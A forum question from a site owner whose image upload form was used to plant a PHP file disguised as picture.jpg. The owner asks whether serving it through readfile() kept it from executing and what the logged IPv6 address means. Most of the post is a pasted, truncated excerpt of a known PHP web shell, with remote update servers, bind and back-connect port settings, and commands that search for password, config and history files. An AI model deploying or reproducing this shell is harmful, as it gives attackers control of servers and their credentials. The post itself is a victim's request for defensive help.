Yesterday someone used my image upload form to upload a php script in a picture.jpg file.
I can not include the whole code because its about 176735 characters, you find the beginning of the giant script at the bottom.
I read now the Risks of a PHP image upload form and learned that I could have prevented this by checking if picture.jpg is actually an image with the getimagesize() function.
However, the picture was uploaded by my script outside the Document Root at /secure/picture.jpg and the hacker could see the "image" only through <img src='image.php'> where image.php consists of
<?php
header('Content-Type: image/jpeg');
readfile('/supersave/picture.jpg');
?>
was that enough to deny the hacker from executing his php script?
Furthermore, I got the $client_ip 2601:49:c201:21c0:2d35:34a3:7840:1a69 through
if (! isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$client_ip = $_SERVER['REMOTE_ADDR'];
}
else{
$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
normally I get a IP result from the form XXX.XXX.XX.XXX. Does this above number tell me anything about the hacker?
Here is the script:
<?php
/*
/*
/* HomePage : r57c99.com !
/*
*/
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "r57c99.com .Biz was here"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " r57c99.com . Org ".$shver.": access denied";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = "<center><b>Owned by r57c99.com.org</b></center>";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "dangerover@dangerover.net"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/* Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
array("config.php",1) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "k1r4"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "k1r4vars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
array("<b>Tools</b>",$surl."act=tools&d=%d"),
array("<b>Proc.</b>",$surl."act=processes&d=%d"),
array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
array("<b>Sec.</b>",$surl."act=security&d=%d"),
array("<b>SQL</b>",$surl."act=sql&d=%d"),
array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
array("<b>Update</b>",$surl."act=update&d=%d"),
array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
array("<b>Self remove</b>",$surl."act=selfremove"),
array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);
//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["k1r4cook"]);
//END CONFIGURATION
// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://google.com/releases/ckira\">kira</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("k1r4_buff_prepare"))
{
function k1r4_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
k1r4_buff_prepare();
if (!function_exists("k1r4_sess_put"))
{
function k1r4_sess_put($data)
{
global $sess_cookie;
global $sess_data;
k1r4_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
.
.
.
?>
